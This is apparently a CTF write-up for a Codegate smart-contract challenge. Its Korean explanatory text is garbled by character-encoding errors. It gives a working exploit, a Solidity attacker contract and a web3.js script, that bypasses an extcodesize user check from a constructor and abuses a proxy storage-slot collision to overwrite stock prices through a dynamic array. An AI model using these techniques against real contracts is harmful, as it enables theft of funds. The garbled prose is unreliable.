[name=whysw@PLUS]
Participated as whysw@MINUS
in this CTF.
- problem
- writeup
Attachments are uploaded on gist.
๋ธ๋ก์ฒด์ธ ์นดํ ๊ณ ๋ฆฌ๊ฐ ์๊ธธ๋ ๋๋๋๋ฐ, ์ง์ง ์ค๋งํธ ์ปจํธ๋ํธ ๋ฌธ์ ๊ฐ ๋์์ต๋๋ค.
What do you think about if stock-exchange server is running on blockchain? Can you buy codegate stock?
service: nc 13.125.194.44 20000
rpc: http://13.125.194.44:8545
faucet: http://13.125.194.44:8080
ํ๋ผ์ด๋น ๋คํธ์ํฌ์ด๊ธด ํ์ง๋ง, ํน์ event๋ฅผ emitํ๋ฉด flag๋ฅผ ์ค๋ค๋ ์ ์ ํ ๋ฌธ์ ๋ค๊ณผ ๊ฐ์ต๋๋ค.
function isSolved() public isInited {
if (_total_stocks[keccak256("codegate")] == 0) {
emit solved(msg.sender);
address payable addr = payable(address(0));
selfdestruct(addr);
}
}
codegate ์ฃผ์์ด 1๊ฐ ๋ฐํ๋์ด ์๋๋ฐ, ๊ทธ๊ฒ์ ์ฌ๋ฉด ๋ฉ๋๋ค.
Investment.sol์์ SafeMath.sol์ importํ๊ณ ์๋๋ฐ, ๊ฐ๊ฒฉ์ ๊ณ์ฐํ ๋๋ง ์ฌ์ฉํ๊ณ ๋ค๋ฅธ ๋ํ๊ฑฐ๋ ๋นผ๋ ๋ถ๋ถ์์๋ ์ฌ์ฉํ์ง ์๊ณ ์์ต๋๋ค.
require(_balances[msg.sender] >= amount);
_balances[msg.sender] -= amount;
require(_stocks[msg.sender][stockName] >= _amountOfStock);
_balances[msg.sender] += amount;
_stocks[msg.sender][stockName] -= _amountOfStock;
require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
_stocks[msg.sender][stockName] -= _amountOfStock;
ํ์ง๋ง ์ธ ๋ถ๋ถ ๋ชจ๋ ์์๋ก ๋์ด๊ฐ์ง ์๋๋ก ์ฒดํฌ๋ฅผ ์ ํ๊ณ ์๋ ๋ชจ์ต์ ๋๋ค.
๊ทธ๋ฆฌ๊ณ ์ฌ์ค ์๋ฏธ๊ฐ ์๋ ๊ฒ์ด, Solidity 0.8 ๋ฒ์ ์์๋ SafeMath ๊ธฐ๋ฅ์ ๋ด์ฅํ๊ฒ ๋์์ต๋๋ค. ๋จ์ํ -
, +
์ฐ์ฐ์๋ง ์ฌ์ฉํ๋๋ผ๋ ์๋์ผ๋ก Overflow๋ฅผ ๊ฐ์งํ์ฌ revertํ๋ค๊ณ ํฉ๋๋ค. ๋ฌธ์ ์์๋ 0.8.11
๋ฒ์ ์ ์ฌ์ฉํ๊ณ ์์ด ์์ ํฉ๋๋ค.
- ์ฌ๊ณ ํ๋ ๊ณผ์ ์์ amount๊ฐ ์๋ชป ๊ณ์ฐ๋ ๊ฐ๋ฅ์ฑ
fee = 5;
denominator = 1e4;
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator + fee).div(denominator);
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator).div(denominator + fee);
๋๋๊ธฐ๊ฐ ๊ฐ์ฅ ๋ง์ง๋ง์ ๋์ํ๊ธฐ ๋๋ฌธ์, ์์๋ฃ๊ฐ 0์์ด ๋ ์๋ ์์ง๋ง ์ธ๊ฒ ์ฌ์ ๋น์ธ๊ฒ ํ ์๋ ์์ต๋๋ค.
function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_amountOfStock > 0);
require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
_stocks[msg.sender][stockName] -= _amountOfStock;
(bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));
require(success);
lastDonater = msg.sender;
donaters.push(lastDonater);
}
msg.sender.call()
์ด ๋ถ๋ฆฌ๋๋ฐ, ์ด ์ง์ ์์ Reentrancy๊ฐ ๊ฐ๋ฅํฉ๋๋ค. Malicious Contract์์ ์ด donateStock()
ํจ์๋ฅผ ๋ถ๋ฅด๋ฉด, ๊ฐ์ Contract์์ receiveStock(address,bytes32,uint256)
ํจ์๋ฅผ ํตํด ์คํ ํ๋ฆ์ ๋๊ฒจ๋ฐ์ ์ ์์ต๋๋ค.
๊ทธ๋ฌ๋ isUser(msg.sender)
๋ฅผ ์ฒดํฌํ๋ ๋ฃจํด์ด ์๋จ์ ์กด์ฌํฉ๋๋ค.
function isUser(address _user) internal returns (bool) {
uint size;
assembly {
size := extcodesize(_user)
}
return size == 0;
}
extcodesize()
๋ฅผ address์ ๋ํด ์ํํ๋๋ฐ, ๋์์ด ์ฒด์ธ์ ์ฌ๋ผ๊ฐ Contract์ธ ๊ฒฝ์ฐ์ extcodesize๊ฐ ์กํ๋ฉด์ Contract์์ด ๋คํค๊ฒ ๋ฉ๋๋ค.
ํ์ง๋ง Contract์ Constructor๊ฐ ์คํ๋๋ ํ์ด๋ฐ์๋ ์์ง ์ฒด์ธ์ ์ฌ๋ผ๊ฐ ์ํ๊ฐ ์๋๊ธฐ ๋๋ฌธ์, ์์ง extcodesize()
๊ฐ 0์ผ๋ก ์กํ๋๋ค. ๋ฐ๋ผ์ Contract์์๋ isUser()
๊ฐ แ
True๊ฐ ๋๊ฒ ํ ์ ์์ต๋๋ค.
_stocks[msg.sender][stockName] -= _amountOfStock;
(bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));
ํ์ง๋ง ํฌ๋ง์ด ์ฌ๋ผ์ง๋ ๋ถ๋ถ์ ๋ด ์ฃผ์ ์ซ์๋ฅผ ์ค์ด๋ ๋ถ๋ถ์ด call()
๋ณด๋ค ์์ ์กด์ฌํ๋ค๋ ๊ฒ์
๋๋ค. ์ด๋ฌ๋ฉด ์ฌ์ง์
์ ํ๋๋ผ๋ ์ด๋ฏธ ๋ด ์ฃผ์์ด ์ค์ด๋ค์ด ์๋ ์ํ๊ธฐ ๋๋ฌธ์ ์๋ฏธ๊ฐ ์์ต๋๋ค.
์ถ๊ฐ์ ์ผ๋ก ๋จ์ํ๊ฒ -
๋ก ์ ํ์๊ธฐ๋ ํ์ง๋ง ์์ ํ ๋ฐ์ ๊ฐ์ด Overflow ๋ฐฉ์ด๊ฐ ๊ฑธ๋ ค์๋ ์ํ์ด๊ธฐ ๋๋ฌธ์, ์ด ๋ ์ค์ ์์๊ฐ ๋ฐ๋๋๋ผ๋ Reentrancy Attack์ ๋ถ๊ฐ๋ฅํฉ๋๋ค. (๋ด ์ฃผ์ ๊ฐ์๋ฅผ ๋์ด๊ฐ๋ ์์ฒญ์ ๋ชจ๋ Overflow๊ฐ ๋ฐ์ํ๋ฉด์ revert๋ ๊ฒ)
์ผ๋จ storage์ ๊ฐ์ด ์ด๋ป๊ฒ ์ ์ฅ๋๋์ง๋ถํฐ ๋ณด๊ฒ ์ต๋๋ค. Key-Value ๋ฐฉ์์ผ๋ก ์ ์ฅ์ด ๋๋๋ฐ, ๊ทธ ์ฃผ์๋ hashed key ์
๋๋ค. key, value, address ๋ชจ๋ 32๋ฐ์ดํธ(256๋นํธ)์
๋๋ค.
contract Investment {
address private implementation;
address private owner;
address[] public donaters;
โฆโฆ
Contract์์ ์ฐ์ด๋ State variable๋ค๋ Storage์ ์ ์ฅ๋๋๋ฐ์, ์์์๋ถํฐ SLOT์ ํ๋์ฉ ๋ถ์ฌ๋ฐ์ต๋๋ค. implementation
์ SLOT0์ ๋ฐฐ์ ์ด ๋์ด key๊ฐ 0์ด ๋๊ณ , owner
๋ SLOT1์ ๋ฐฐ์ ์ด ๋์ด key๊ฐ 1์ด ๋ฉ๋๋ค.
dynamic array์ธ donaters
๋ SLOT2์ ๋ฐฐ์ ์ด ๋์ด key๊ฐ 2๊ฐ ๋ฉ๋๋ค. key 2์ ๋ํด์ ์ ์ฅ๋๋ ๊ฐ์ donaters
๋ฐฐ์ด์ ๊ธธ์ด์
๋๋ค.
๋ฐฐ์ด์ ์์์ ์ ๊ทผํ ๋๋,
(key์ธ 2๋ฅผ ํด์ํ ๊ฐ) + index
๋ฅผ key๋ก ๊ฐ์ง๋๋ค. ๋ฐ๋ผ์ ํด๋น ์์์ ์ฃผ์๋ (key์ธ 2๋ฅผ ํด์ํ ๊ฐ) + index
๋ฅผ ํ๋ฒ ๋ ํด์ํ ๊ฐ์ด ๋ฉ๋๋ค.
๊ทธ๋ฐ๋ฐ ๋ง์ฝ 2^256 ๊ธธ์ด์ dynamic array๊ฐ ์๋ค๋ฉด ์ด๋ป๊ฒ ๋ ๊น์? key์ธ 2๋ฅผ ํด์ํ ๊ฐ
์ ์์์ผ๋ก ํ๋ dynamic array๊ฐ EVM์ ์ ์ฒด storage๋ฅผ ๋ฎ์ด๋ฒ๋ฆฝ๋๋ค. ์ด๋ Dynamic array์ ์ ๊ทผ์ด ๊ฐ๋ฅํ๋ค๋ฉด Storage ๊ฐ์ ๋ํด Arbitrary read๊ฐ, ์์ ๊น์ง ๊ฐ๋ฅํ๋ค๋ฉด Arbitrary write๊น์ง ๊ฐ๋ฅํด์ง๋ ๊ฒฐ๊ณผ๋ฅผ ๋ณ์ต๋๋ค.
๊ทธ๋ ๋ค๋ฉด donaters
์ ๋ํด ๋ญ๊ฐ ์ํํ๋ ๋ถ๋ถ์ ์ดํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค.
function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_amountOfStock > 0);
require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
_stocks[msg.sender][stockName] -= _amountOfStock;
(bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));
require(success);
lastDonater = msg.sender;
donaters.push(lastDonater);
}
function isInvalidDonaters(uint index) internal returns (bool) {
require(donaters.length > index);
if (!isUser(lastDonater)) {
return true;
}
else {
return false;
}
}
function modifyDonater(uint index) public isInited {
require(isInvalidDonaters(index));
donaters[index] = msg.sender;
}
์ํฉ์ด ์ข์ง ์์ต๋๋ค. ๋ฐฐ์ด์ ๊ธธ์ด๋ฅผ ๋๋ฆฌ๋ ๋ฐฉ๋ฒ์ donaters.push(lastDonater);
๋ฐ์ ์๊ธฐ์, 2^256 ๊ธธ์ด์ ๋ฐฐ์ด์ ๋ง๋ค๊ธฐ ์ํด์๋ 2^254๊ฐ์ ์ปจํธ๋ํธ๋ฅผ ๋ง๋ค์ด ์์
(mint()๋ก 300์์ ๋ฐ๊ณ amd์ฃผ์์ 4๊ฐ ์ฌ์ 4๋ฒ donate)ํด์ผ ํฉ๋๋ค.
๊ทธ๋๋ ์ด ๋ฐฉํฅ์ด ๋ง๊ธฐ๋ ํ ๊ฒ ๊ฐ์ต๋๋ค. ์๋ํ๋ฉด donateStock()
์์ ์ด๋ฏธ isUser()
๋ฅผ ํต๊ณผํ ์ํ์ด๊ธฐ ๋๋ฌธ์ lastDonater
๋ ๋ถ๋ช
ํ valid user์ผํ
๋ฐ, modifyDonater()
๊ฐ ๋์ํ๊ธฐ ์ํด์๋ lastDonater
๊ฐ contract์ฌ์ผ ํ๊ธฐ ๋๋ฌธ์
๋๋ค. donateStock()
์๋ Constructor์์ ์ ๊ทผํ๊ณ , ๋์ค์ ๊ทธ Contract๊ฐ ์ฒด์ธ์ ์ฌ๋ผ๊ฐ๊ณ ๋์ ์ ๊ทผํ๋ฉด lastDonater
๊ฐ contract(invalid user)๊ฐ ๋์ด ์๋ ๊ทธ๋ฆผ์ด ๊ทธ๋ ค์ง๋๋ค.
Proxy.sol์ ๋ด์ผํ ๊ฒ ๊ฐ์ต๋๋ค.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
contract Proxy {
address implementation;
address owner;
struct log {
bytes12 time;
address sender;
}
log info;
constructor(address _target) {
owner = msg.sender;
implementation = _target;
}
function setImplementation(address _target) public {
require(msg.sender == owner);
implementation = _target;
}
function _delegate(address _target) internal {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view returns (address) {
return implementation;
}
function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable {
_fallback();
}
receive() external payable {
_fallback();
}
function _beforeFallback() internal {
info.time = bytes12(uint96(block.timestamp));
info.sender = msg.sender;
}
}
๋์์ ๊ฐ๋จํ ์ ๋ฆฌํ์๋ฉด ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
- Proxy๋
implementation
์ ๊ฐ์ผ๋ก ๋ค๋ฅธ Contract๋ฅผ ๊ฐ์ง๋๋ค. fallback()
์ด๋receive()
๊ฐ ๋ถ๋ฆฌ๋ฉด a.block.timestamp
์msg.sender
๋ฅผ ์ ์ฅํฉ๋๋ค. b.calldata
๋ฅผ ์ด์ฉํด ๋์ Contract์๊ฒdelegateCall()
ํฉ๋๋ค. c.delegateCall()
์ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ์์ต๋๋ค.
์ด๋ฆ์ฒ๋ผ ์ ๋ง proxy์ ์ญํ ์ ํ๊ณ ์์ต๋๋ค. Proxy์ ๋๊ณ init()
์ ํธ์ถํ๋ฉด, ๊ทธ๋ฐ ํจ์(์ ํํ๋ ๊ฐ์ ์๊ทธ๋์ฒ๋ฅผ ๊ฐ์ง)๊ฐ ์๊ธฐ ๋๋ฌธ์ fallback()
์ด ํธ์ถ๋ ๊ฒ์
๋๋ค. ๊ทธ๋ฌ๋ฉด delegateCall()
์ implementation
contract์ ๋ํด init()
์ ๋ค์ ํธ์ถํฉ๋๋ค.
nc ์ ์ํ์ ๋ deployํด์ฃผ๋ contract๊ฐ Proxy๊ฐ ๋ง๋์ง๋ ํด๋น ์ฃผ์์ ์ฌ๋ผ๊ฐ ์๋ contract์ code๋ฅผ ๋ฏ์ด์ ํ์ธํด๋ณผ ์ ์์ต๋๋ค.
$ curl -X POST -H "Content-Type: application/json" 13.125.194.44:8545 --data '{"jsonrpc":"2.0","method":"eth_getCode","params":["REDACTED", "latest"],"id":1}'
์ถ๊ฐ์ ์ผ๋ก SLOT0์ ์๋ ๊ฐ์ ํ์ธํ์ฌ, ํด๋น Proxy๊ฐ ๊ฐ์ง๊ณ ์๋ implementation
์ ํ์ธํ ์ ์๊ณ , ๋์๊ฐ ๊ทธ๊ฒ์ด Investment๊ฐ ๋ง์์ ํ์ธํ ์ ์์ต๋๋ค.
$ curl -X POST -H "Content-Type: application/json" 13.125.194.44:8545 --data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["REDACTED", "0x0", "latest"],"id":1}'
๊ทธ๋ฐ๋ฐ ์ด๋ฐ ์ธ๋ชจ๋ ์๋ Proxy๊ฐ ์ ๋ฌ๋ ค ์์๊น์?
There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values.
This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address.
์์์ ๋ณธ call()
์ ํ์ฌ ์คํ๋๊ณ ์๋ contract๊ฐ ์ฃผ์ฒด๊ฐ ๋์ด ๋ค๋ฅธ contract๋ก ์์ฒญ์ ๋ณด๋
๋๋ค. ํ์ง๋ง delegateCall()
์ ํ์ฌ contract์ ์ํ๋ฅผ ์ ์งํ๋ฉด์ ๋ค๋ฅธ contract์ ์ฝ๋๋ง์ ์คํํฉ๋๋ค.
ํ์ฌ ์ํ์ ๋์
ํด๋ณด๋ฉด, Proxy contract๊ฐ delegateCall()
๋ฅผ ์ฐ๋ฉด Proxy contract์ storage ์ํ๋ฅผ ๊ธฐ๋ฐ์ผ๋ก Investment contract์ ํจ์๊ฐ ๋ถ๋ฆด ๊ฒ์
๋๋ค.
์ด๊ฒ์ ๊ธฐ์ตํ๋ฉด์ Proxy์ Investment์ แ State variables๋ฅผ ๋น๊ตํด๋ณด๋ฉด..!!
contract Proxy {
address implementation;
address owner;
struct log {
bytes12 time;
address sender;
}
log info;
contract Investment {
address private implementation;
address private owner;
address[] public donaters;
๋ฑ ์ํ๋ ๊ณณ, dynamic array donaters
์ ๊ธธ์ด๊ฐ ์ ์ฅ๋์ด ์๋ SLOT2์ struct log
๊ฐ ์ ์ฅ๋๋ ๊ฒ์ ์ ์ ์์ต๋๋ค. bytes12๊ฐ 12๋ฐ์ดํธ, address๊ฐ 20๋ฐ์ดํธ์ด๋ ๋ฑ SLOT2๋ฅผ ์ฑ์ฐ๊ฒ ๋ฉ๋๋ค.
์ฌ์ค Investment.sol์ ์ฐ์ง๋ ์๋ implementation
๊ณผ owner
๊ฐ ์๋ ๊ฒ์ ๋ณด๊ณ ๋์น๋ฅผ ์ฑ์ด์ผ ํ๊ฒ ๋ค์.
๊ทธ๋์ ๋์ค๋ ์ต์ข ์ต์ค ํ๋์,
1. Contract ํ๋๋ฅผ ๋ง๋ค์ด์ Proxy์ ์ ๊ทผ
a. init()
b. mint()
c. buyStock("amd", 4) // ํ์ฌ๋ช
๊ณผ ์๋ ์๋ฌด๊ฑฐ๋
d. donateStock(address(this), "amd", 1) // ์ฃผ์, ํ์ฌ๋ช
๊ณผ ์๋ ์๋ฌด๊ฑฐ๋
๊ฒฐ๊ณผ: `lastDonater`: 1์์ ๋ง๋ Contract, ์ด์ ๋ valid user ์๋.
2. mint()
3. buyStock("amd", 4) // ์กฐ์ํ ํ์ฌ, ์๋์ 2 ์ด์์ผ๋ก
4. modifyDonater(`0xcf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8`)
// codegate์ ๊ฐ๊ฒฉ ์กฐ์
5. modifyDonater(`0x0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37`)
// amd์ ๊ฐ๊ฒฉ ์กฐ์
6. sellStock("amd", 4)
7. buyStock("codegate", 1)
8. isSolved()
๊ฐ๊ฒฉ์ ๋ฎ์ด์์ธ ๋ ์ฐ๋ index ๊ฐ์ dynamic array๊ฐ ์์ํ๋ SLOT2์ ์ฃผ์๊ฐ(0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace
)์ ๊ธฐ์ค์ผ๋ก ๊ตฌํฉ๋๋ค.
codegate
0x233232af672f5f1aec5aa2de748da4122c59e74faa385262f32ac5a44f060f5f:
Object
key: 0x0fc2e7bb86d6c8a5ced16c27882e3d81d175178fabccc20fbd0318c689e044a6
value: 0x085bec12b4b9a40d8f483cb1c71c71c7
amd
0x7f9580bb2e402da609782f512a26ac511100385adb6a8523baea91bbb2227775:
Object
key: 0x467eb1769a502377c95a7b7a3a4a63c331e7421ec77dd7afad1498b388041605
value: 0x4a
key๊ฐ์ด SLOT2์ ์ฃผ์๊ฐ + index
์ด๋ index๋ SLOT2์ ์ฃผ์๊ฐ - key๊ฐ
์
๋๋ค.
>>> '0x{0:0{1}x}'.format(0x10fc2e7bb86d6c8a5ced16c27882e3d81d175178fabccc20fbd0318c689e044a6 - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace, 64)
'0xcf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8'
>>> '0x{0:0{1}x}'.format(0x467eb1769a502377c95a7b7a3a4a63c331e7421ec77dd7afad1498b388041605 - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace, 64)
'0x0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37'
ํ์์ ropsten testnet ์ฐ๋ ๋ฌธ์ ๋ค์ remix์ metamask ์กฐํฉ์ผ๋ก ํ์์ด์, ์ด๋ฒ ๋ฌธ์ ์ ๊ฒฝ์ฐ์๋ ํ๋ผ์ด๋น ๋คํธ์ํฌ๊ธด ํ์ง๋ง ๋๊ฐ์ด RPC ์๋ฒ๋ฅผ ๋ฑ๋กํด์ ํ๋ ค๊ณ ์๋ํ์ต๋๋ค. ๊ทธ๋ฐ๋ฐ metamask๊ฐ ๋์ํ์ง ์์์ ํฐ์ผ์ ๋ ๋ ธ๋๋ JSON RPC๊ฐ ์ ํ๋์ด ์์ด์ ๊ทธ๋ด ์ ์๋ค๋ ๋ต์ ๋ฐ์์ต๋๋ค.
var whitelist = [
"eth_blockNumber",
"eth_call",
"eth_chainId",
"eth_estimateGas",
"eth_gasPrice",
"eth_getBalance",
"eth_getCode",
"eth_getStorageAt",
"eth_getTransactionByHash",
"eth_getTransactionCount",
"eth_getTransactionReceipt",
"eth_sendRawTransaction",
"net_version",
"rpc_modules",
"web3_clientVersion"
];
https://github.com/chainflag/ctf-eth-env/blob/78cf308b3579ff2a9849dc12adabbcc98da7b6c1/docker/rpcproxy/njs/eth-jsonrpc-access.js
์ ๋ง ํผ๋ ๋๋ฌผ๋ ์๊ฒ ๋งํ ์์๋๋ฐ์, ํนํ signTransaction์ด ์์ด์ web3.eth.accounts.signTransaction
์ด ์๋๊ณ , ๋ก์ปฌ์์ sign์ ํด์ ๋ณด๋ด์ผ ํ์ต๋๋ค.
๊ทธ๋ฐ๋ฐ chainId๋ฅผ ์ ์ค์ ์ ๋ชปํด์ค์ invalid sender ์ค๋ฅ๊ฐ ๋ด๊ณ , ๊ฒฐ๊ตญ const common = Common.custom({ chainId: 0x746 })
์ผ๋ก ํด๊ฒฐํ์ต๋๋ค.
์ต์ข
์๋ฒ
.env
# .env
API_URL = "http://13.125.194.44:8545"
PRIVATE_KEY = "REDACTED"
ADDRESS = "REDACTED"
Sol.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.11;
contract Sol {
address public proxy;
string public targetStock;
constructor (address _proxy) {
proxy = _proxy;
setTargetStock("amd");
init();
mint();
buyStock(4);
donateStock(1);
}
function setTargetStock(string memory name) public {
targetStock = name;
}
function init() public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("init()"));
require(success);
}
function buyStock(uint amount) public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("buyStock(string,uint256)", targetStock, amount));
require(success);
}
function sellStock(uint amount) public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("sellStock(string,uint256)", targetStock, amount));
require(success);
}
function donateStock(uint amount) public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("donateStock(address,string,uint256)", address(this), targetStock, amount));
require(success);
}
function modifyDonater(uint index) public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("modifyDonater(uint256)", index));
require(success);
}
function mint() public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("mint()"));
require(success);
}
function receiveStock(address _to, bytes32 _stockName, uint256 _amountOfStock) public returns (bytes32) {
// msg.sender.call(abi.encodeWithSignature("donateStock(address,string,uint256)", _to, targetStock, _amountOfStock));
return keccak256("apple");
}
function giveMeName(string memory foo) public returns (bytes memory) {
return abi.encodeWithSignature(foo);
}
function testApple() public returns (bytes32) {
return keccak256("apple");
}
}
Sol.sol
๋ก๋ถํฐ solc
๋ฅผ ์ด์ฉํด Sol.abi
์ Sol.bin
์ ๋ง๋ค์์ต๋๋ค.
sol.js
const fs = require('fs')
const Common = require('@ethereumjs/common').default
const Transaction = require('@ethereumjs/tx').Transaction
const Web3 = require('web3');
require('dotenv').config();
const { ADDRESS, API_URL, PRIVATE_KEY } = process.env;
const web3 = new Web3(API_URL);
const common = Common.custom({ chainId: 0x746 })
const Contract = "REDACTED"
async function main() {
// 1. deploy the contract who will become invalid last donater
console.log("[+] deploying contractโฆ");
await deploy("Sol", [Contract]);
// 2. mint
console.log("[+] taking base moneyโฆ");
await send("0x1249c58b") // mint
// 3. buy cheap stocks
console.log("[+] buying 4 amd stockโฆ");
await send("0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000003616d640000000000000000000000000000000000000000000000000000000000") //buy amd 4
// 4. overwrite prices
console.log("[+] overwriting codegate stock priceโฆ");
await send("0x9bceca6ccf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8") // overwrite codegate price
// 4-1, should also await, because of nonce problem
console.log("[+] overwriting amd stock priceโฆ");
await send("0x9bceca6c0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37") // overwrite amd price
// 5. sell previously bought stocks
console.log("[+] selling 3 amd stockโฆ");
await send("0x9c15a104000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000003616d640000000000000000000000000000000000000000000000000000000000") //sell amd 3
// 6. buy codegate stock
console.log("[+] buying 1 codegate stockโฆ");
await send('0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008636f646567617465000000000000000000000000000000000000000000000000') //buy codegate 1
// 7. confirm solved
console.log("[+] checking whether I deserve flagโฆ");
await send('0x64d98f6e') // isSolved
console.log("[!] copy and paste TX hash above");
}
async function deploy(contractName, contractArgs) {
let abi = fs.readFileSync(contractName + ".abi").toString();
let bin = fs.readFileSync(contractName + ".bin").toString();
let contract = new web3.eth.Contract(JSON.parse(abi));
await _deploy(contract.deploy({ data: "0x" + bin, arguments: contractArgs }));
}
async function _deploy(transaction) {
let nonce = await web3.eth.getTransactionCount(ADDRESS, 'latest');
let txParams = {
nonce: nonce,
gasPrice: 60000,
gasLimit: '0x271000',
to: transaction._parent._address,
value: '0x00',
data: transaction.encodeABI(),
chainId: '0x746'
}
await _send(txParams);
}
async function send(data) {
let nonce = await web3.eth.getTransactionCount(ADDRESS, 'latest');
let txParams = {
nonce: nonce,
gasPrice: 60000,
gasLimit: '0x271000',
to: Contract,
value: '0x00',
data: data,
chainId: '0x746'
}
await _send(txParams);
}
async function _send(txParams) {
const tx = Transaction.fromTxData(txParams, { common })
const privateKey = Buffer.from(PRIVATE_KEY, 'hex')
const signedTx = tx.sign(privateKey)
const serializedTx = signedTx.serialize()
let rawTxHex = '0x' + serializedTx.toString('hex');
let error, transaction = await web3.eth.sendSignedTransaction(rawTxHex)
if (error) {
console.log("โSomething went wrong while submitting your transaction:", error);
throw new Error(error);
}
console.log("๐ The hash of your transaction is: ", transaction.transactionHash);
}
main()
$ node sol.js
[+] deploying contractโฆ
๐ The hash of your transaction is: REDACTED
[+] taking base moneyโฆ
๐ The hash of your transaction is: REDACTED
[+] buying 4 amd stockโฆ
๐ The hash of your transaction is: REDACTED
[+] overwriting codegate stock priceโฆ
๐ The hash of your transaction is: REDACTED
[+] overwriting amd stock priceโฆ
๐ The hash of your transaction is: REDACTED
[+] selling 3 amd stockโฆ
๐ The hash of your transaction is: REDACTED
[+] buying 1 codegate stockโฆ
๐ The hash of your transaction is: REDACTED
[+] checking whether I deserve flagโฆ
๐ The hash of your transaction is: REDACTED
[!] copy and paste TX hash above
ํ ํฐ๊ณผ ๋ง์ง๋ง TX hash๋ฅผ ๋ฃ์ผ๋ฉด flag๊ฐ ๋์ต๋๋ค.
dynamic array๋ก overwriteํ๋ ๊ฑด ๋ฐ๋ก ์๊ฐ์ ํ๋๋ฐ, Proxy์ ์กด์ฌ ์์๋ฅผ ๋ฆ๊ฒ ์์์ฑ์ต๋๋ค. ๋น์ฐํ ์ต์ค์ ํ์ํ๋๊น ๋ฌ๋ ค์๋ ๊ฑฐ์ผํ ๋ฐโฆ remix๋ metamask๊ฐ ๋งํ๋๊น web3py๋ก ๊ฐ๋๋ฐ, sign ๋ก์ปฌ์์ ํด์ฃผ๋ ๋ถ๋ถ์ด๋ chainId๊ฐ ๋ค๋ฅธ ๋ถ๋ถ์์ ๋งํ์ web3js๋ก ๊ฐ๊ณ , ๊ฑฐ๊ธฐ์๋ ๋ฐ๋ก ํด๊ฒฐ์ฑ ์ ์ฐพ์๋ด์ง ๋ชปํด์ ์๊ฐ์ ์ข ๋ง์ด ๋๋ ธ์ต๋๋ค. ์๊ฐ ๋ด์ ํ์์ผ๋ฉด ์ ๋ง ์ข์๊ฒ ์ง๋ง ๊ทธ๋ฌ์ง ๋ชปํ๊ธฐ์ ์ด๋ ๊ฒ ๋ถ๋ ธ์ writeup์ด๋ผ๋ ๋จ๊ฒจ๋ด ๋๋ค.
Hello Bro , I have a question about what is the contract of dynamic deployment? Because I found that it is not like any contract given through bytecode decompilation.